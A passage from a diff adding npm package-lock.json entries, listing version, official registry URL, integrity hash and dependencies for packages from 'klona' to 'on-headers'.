"sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==" + }, + "klona": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/klona/-/klona-2.0.6.tgz", + "integrity": "sha512-dhG34DXATL5hSxJbIexCft8FChFXtmskoZYnoPWjXQuebWYCNkVeV3KkGegCK9CP1oswI/vQibS2GY7Em/sJJA==" + }, + "latest-version": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/latest-version/-/latest-version-5.1.0.tgz", + "integrity": "sha512-weT+r0kTkRQdCdYCNtkMwWXQTMEswKrFBkm4ckQOMVhhqhIMI1UT2hMj+1iigIhgSZm5gTmrRXBNoGUgaTY1xA==", + "requires": { + "package-json": "^6.3.0" + } + }, + "launch-editor": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/launch-editor/-/launch-editor-2.6.0.tgz", + "integrity": "sha512-JpDCcQnyAAzZZaZ7vEiSqL690w7dAEyLao+KC96zBplnYbJS7TYNjvM3M7y3dGz+v7aIsJk3hllWuc0kWAjyRQ==", + "requires": { + "picocolors": "^1.0.0", + "shell-quote": "^1.7.3" + } + }, + "leven": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", + "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==" + }, + "levn": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "devOptional": true, + "requires": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + } + }, + "lilconfig": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz", + "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==" + }, + "lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==" + }, + "loader-runner": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.3.0.tgz", + "integrity": "sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg==" + }, + "loader-utils": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-2.0.4.tgz", + "integrity": "sha512-xXqpXoINfFhgua9xiqD8fPFHgkoq1mmmpE92WlDbm9rNRd/EbRb+Gqf908T2DMfuHjjJlksiK2RbHVOdD/MqSw==", + "requires": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^2.1.2" + } + }, + "locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "requires": { + "p-locate": "^4.1.0" + } + }, + "lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" + }, + "lodash.curry": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.curry/-/lodash.curry-4.1.1.tgz", + "integrity": "sha512-/u14pXGviLaweY5JI0IUzgzF2J6Ne8INyzAZjImcryjgkZ+ebruBxy2/JaOOkTqScddcYtakjhSaeemV8lR0tA==" + }, + "lodash.debounce": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", + "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==" + }, + "lodash.flow": { + "version": "3.5.0", + "resolved": "https://registry.npmjs.org/lodash.flow/-/lodash.flow-3.5.0.tgz", + "integrity": "sha512-ff3BX/tSioo+XojX4MOsOMhJw0nZoUEF011LX8g8d3gvjVbxd89cCio4BCXronjxcTUIJUoqKEUA+n4CqvvRPw==" + }, + "lodash.memoize": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", + "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==" + }, + "lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "devOptional": true + }, + "lodash.uniq": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.uniq/-/lodash.uniq-4.5.0.tgz", + "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==" + }, + "loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "requires": { + "js-tokens": "^3.0.0 || ^4.0.0" + } + }, + "lower-case": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz", + "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", + "requires": { + "tslib": "^2.0.3" + } + }, + "lowercase-keys": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz", + "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==" + }, + "lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "requires": { + "yallist": "^3.0.2" + } + }, + "lunr-languages": { + "version": "1.13.0", + "resolved": "https://registry.npmjs.org/lunr-languages/-/lunr-languages-1.13.0.tgz", + "integrity": "sha512-qgTOarcnAtVFKr0aJ2GuiqbBdhKF61jpF8OgFbnlSAb1t6kOiQW67q0hv0UQzzB+5+OwPpnZyFT/L0L9SQG1/A==" + }, + "magic-string": { + "version": "0.25.9", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.25.9.tgz", + "integrity": "sha512-RmF0AsMzgt25qzqqLc1+MbHmhdx0ojF2Fvs4XnOqz2ZOBXzzkEwc/dJQZCYHAn7v1jbVOjAZfK8msRn4BxO4VQ==", + "requires": { + "sourcemap-codec": "^1.4.8" + } + }, + "make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "requires": { + "semver": "^6.0.0" + }, + "dependencies": { + "semver": { + "version": "6.3.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", + "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==" + } + } + }, + "mark.js": { + "version": "8.11.1", + "resolved": "https://registry.npmjs.org/mark.js/-/mark.js-8.11.1.tgz", + "integrity": "sha512-1I+1qpDt4idfgLQG+BNWmrqku+7/2bi5nLf4YwF8y8zXvmfiTBY3PV3ZibfrjBueCByROpuBjLLFCajqkgYoLQ==" + }, + "markdown-escapes": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/markdown-escapes/-/markdown-escapes-1.0.4.tgz", + "integrity": "sha512-8z4efJYk43E0upd0NbVXwgSTQs6cT3T06etieCMEg7dRbzCbxUCK/GHlX8mhHRDcp+OLlHkPKsvqQTCvsRl2cg==" + }, + "mdast-squeeze-paragraphs": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/mdast-squeeze-paragraphs/-/mdast-squeeze-paragraphs-4.0.0.tgz", + "integrity": "sha512-zxdPn69hkQ1rm4J+2Cs2j6wDEv7O17TfXTJ33tl/+JPIoEmtV9t2ZzBM5LPHE8QlHsmVD8t3vPKCyY3oH+H8MQ==", + "requires": { + "unist-util-remove": "^2.0.0" + } + }, + "mdast-util-definitions": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-definitions/-/mdast-util-definitions-4.0.0.tgz", + "integrity": "sha512-k8AJ6aNnUkB7IE+5azR9h81O5EQ/cTDXtWdMq9Kk5KcEW/8ritU5CeLg/9HhOC++nALHBlaogJ5jz0Ybk3kPMQ==", + "requires": { + "unist-util-visit": "^2.0.0" + } + }, + "mdast-util-to-hast": { + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/mdast-util-to-hast/-/mdast-util-to-hast-10.0.1.tgz", + "integrity": "sha512-BW3LM9SEMnjf4HXXVApZMt8gLQWVNXc3jryK0nJu/rOXPOnlkUjmdkDlmxMirpbU9ILncGFIwLH/ubnWBbcdgA==", + "requires": { + "@types/mdast": "^3.0.0", + "@types/unist": "^2.0.0", + "mdast-util-definitions": "^4.0.0", + "mdurl": "^1.0.0", + "unist-builder": "^2.0.0", + "unist-util-generated": "^1.0.0", + "unist-util-position": "^3.0.0", + "unist-util-visit": "^2.0.0" + } + }, + "mdast-util-to-string": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-2.0.0.tgz", + "integrity": "sha512-AW4DRS3QbBayY/jJmD8437V1Gombjf8RSOUCMFBuo5iHi58AGEgVCKQ+ezHkZZDpAQS75hcBMpLqjpJTjtUL7w==" + }, + "mdn-data": { + "version": "2.0.14", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.0.14.tgz", + "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==" + }, + "mdurl": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mdurl/-/mdurl-1.0.1.tgz", + "integrity": "sha512-/sKlQJCBYVY9Ers9hqzKou4H6V5UWc/M59TH2dvkt+84itfnq7uFOMLpOiOS4ujvHP4etln18fmIxA5R5fll0g==" + }, + "media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==" + }, + "memfs": { + "version": "3.5.3", + "resolved": "https://registry.npmjs.org/memfs/-/memfs-3.5.3.tgz", + "integrity": "sha512-UERzLsxzllchadvbPs5aolHh65ISpKpM+ccLbOJ8/vvpBKmAWf+la7dXFy7Mr0ySHbdHrFv5kGFCUHHe6GFEmw==", + "requires": { + "fs-monkey": "^1.0.4" + } + }, + "merge-descriptors": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", + "integrity": "sha512-cCi6g3/Zr1iqQi6ySbseM1Xvooa98N0w31jzUYrXPX2xqObmFGHJ0tQ5u74H3mVh7wLouTseZyYIq39g8cNp1w==" + }, + "merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==" + }, + "merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==" + }, + "methods": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", + "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==" + }, + "micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "requires": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + } + }, + "mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==" + }, + "mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==" + }, + "mime-types": { + "version": "2.1.18", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.18.tgz", + "integrity": "sha512-lc/aahn+t4/SWV/qcmumYjymLsWfN3ELhpmVuUFjgsORruuZPVSwAQryq+HHGvO/SI2KVX26bx+En+zhM8g8hQ==", + "requires": { + "mime-db": "~1.33.0" + }, + "dependencies": { + "mime-db": { + "version": "1.33.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.33.0.tgz", + "integrity": "sha512-BHJ/EKruNIqJf/QahvxwQZXKygOQ256myeN/Ew+THcAa5q+PjyTTMMeNQC4DZw5AwfvelsUrA6B67NKMqXDbzQ==" + } + } + }, + "mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==" + }, + "mimic-response": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", + "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==" + }, + "mini-css-extract-plugin": { + "version": "2.7.6", + "resolved": "https://registry.npmjs.org/mini-css-extract-plugin/-/mini-css-extract-plugin-2.7.6.tgz", + "integrity": "sha512-Qk7HcgaPkGG6eD77mLvZS1nmxlao3j+9PkrT9Uc7HAE1id3F41+DdBRYRYkbyfNRGzm8/YWtzhw7nVPmwhqTQw==", + "requires": { + "schema-utils": "^4.0.0" + }, + "dependencies": { + "ajv": { + "version": "8.12.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "requires": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + } + }, + "ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "requires": { + "fast-deep-equal": "^3.1.3" + } + }, + "json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "requires": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + } + } + } + }, + "minimalistic-assert": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", + "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==" + }, + "minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==" + }, + "mrmime": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mrmime/-/mrmime-1.0.1.tgz", + "integrity": "sha512-hzzEagAgDyoU1Q6yg5uI+AorQgdvMCur3FcKf7NhMKWsaYg+RnbTyHRa/9IlLF9rf455MOCtcqqrQQ83pPP7Uw==" + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "multicast-dns": { + "version": "7.2.5", + "resolved": "https://registry.npmjs.org/multicast-dns/-/multicast-dns-7.2.5.tgz", + "integrity": "sha512-2eznPJP8z2BFLX50tf0LuODrpINqP1RVIm/CObbTcBRITQgmC/TjcREF1NeTBzIcR5XO/ukWo+YHOjBbFwIupg==", + "requires": { + "dns-packet": "^5.2.2", + "thunky": "^1.0.2" + } + }, + "mustache": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/mustache/-/mustache-4.2.0.tgz", + "integrity": "sha512-71ippSywq5Yb7/tVYyGbkBggbU8H3u5Rz56fH60jGFgr8uHwxs+aSKeqmluIVzM0m0kB7xQjKS6qPfd0b2ZoqQ==" + }, + "nanoid": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.6.tgz", + "integrity": "sha512-BGcqMMJuToF7i1rt+2PWSNVnWIkGCU78jBG3RxO/bZlnZPK2Cmi2QaffxGO/2RvWi9sL+FAiRiXMgsyxQ1DIDA==" + }, + "natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", + "devOptional": true + }, + "negotiator": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==" + }, + "neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==" + }, + "no-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz", + "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", + "requires": { + "lower-case": "^2.0.2", + "tslib": "^2.0.3" + } + }, + "node-domexception": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/node-domexception/-/node-domexception-1.0.0.tgz", + "integrity": "sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ==" + }, + "node-emoji": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/node-emoji/-/node-emoji-1.11.0.tgz", + "integrity": "sha512-wo2DpQkQp7Sjm2A0cq+sN7EHKO6Sl0ctXeBdFZrL9T9+UywORbufTcTZxom8YqpLQt/FqNMUkOpkZrJVYSKD3A==", + "requires": { + "lodash": "^4.17.21" + } + }, + "node-fetch": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-3.3.2.tgz", + "integrity": "sha512-dRB78srN/l6gqWulah9SrxeYnxeddIG30+GOqK/9OlLVyLg3HPnr6SqOWTWOXKRwC2eGYCkZ59NNuSgvSrpgOA==", + "requires": { + "data-uri-to-buffer": "^4.0.0", + "fetch-blob": "^3.1.4", + "formdata-polyfill": "^4.0.10" + } + }, + "node-forge": { + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-1.3.1.tgz", + "integrity": "sha512-dPEtOeMvF9VMcYV/1Wb8CPoVAXtp6MKMlcbAt4ddqmGqUJ6fQZFXkNZNkNlfevtNkGtaSoXf/vNNNSvgrdXwtA==" + }, + "node-releases": { + "version": "2.0.13", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.13.tgz", + "integrity": "sha512-uYr7J37ae/ORWdZeQ1xxMJe3NtdmqMC/JZK+geofDrkLUApKRHPd18/TxtBOJ4A0/+uUIliorNrfYV6s1b02eQ==" + }, + "normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==" + }, + "normalize-range": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz", + "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==" + }, + "npm-run-path": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", + "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", + "requires": { + "path-key": "^3.0.0" + } + }, + "nprogress": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/nprogress/-/nprogress-0.2.0.tgz", + "integrity": "sha512-I19aIingLgR1fmhftnbWWO3dXc0hSxqHQHQb3H8m+K3TnEn/iSeTZZOyvKXWqQESMwuUVnatlCnZdLBZZt2VSA==" + }, + "nth-check": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-2.1.1.tgz", + "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", + "requires": { + "boolbase": "^1.0.0" + } + }, + "object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==" + }, + "object-inspect": { + "version": "1.12.3", + "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.12.3.tgz", + "integrity": "sha512-geUvdk7c+eizMNUDkRpW1wJwgfOiOeHbxBR/hLXK1aT6zmVSO0jsQcs7fj6MGw89jC/cjGfLcNOrtMYtGqm81g==" + }, + "object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==" + }, + "object.assign": { + "version": "4.1.4", + "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.4.tgz", + "integrity": "sha512-1mxKf0e58bvyjSCtKYY4sRe9itRk3PJpquJOjeIkz885CczcI4IvJJDLPS72oowuSh+pBxUFROpX+TU++hxhZQ==", + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "has-symbols": "^1.0.3", + "object-keys": "^1.1.1" + } + }, + "object.entries": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.6.tgz", + "integrity": "sha512-leTPzo4Zvg3pmbQ3rDK69Rl8GQvIqMWubrkxONG9/ojtFE2rD9fjMKfSI5BxW3osRH1m6VdzmqK8oAY9aT4x5w==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + } + }, + "object.fromentries": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.6.tgz", + "integrity": "sha512-VciD13dswC4j1Xt5394WR4MzmAQmlgN72phd/riNp9vtD7tp4QQWJ0R4wvclXcafgcYK8veHRed2W6XeGBvcfg==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + } + }, + "object.hasown": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/object.hasown/-/object.hasown-1.1.2.tgz", + "integrity": "sha512-B5UIT3J1W+WuWIU55h0mjlwaqxiE5vYENJXIXZ4VFe05pNYrkKuK0U/6aFcb0pKywYJh7IhfoqUfKVmrJJHZHw==", + "dev": true, + "requires": { + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + } + }, + "object.values": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.6.tgz", + "integrity": "sha512-FVVTkD1vENCsAcwNs9k6jea2uHC/X0+JcjG8YA60FN5CMaJmG95wT9jek/xX9nornqGRrBkKtzuAu2wuHpKqvw==", + "dev": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "es-abstract": "^1.20.4" + } + }, + "obuf": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/obuf/-/obuf-1.1.2.tgz", + "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==" + }, + "on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "requires": { + "ee-first": "1.1.1" + } + }, + "on-headers": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.0.2.tgz", + "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==" + }, + "once": 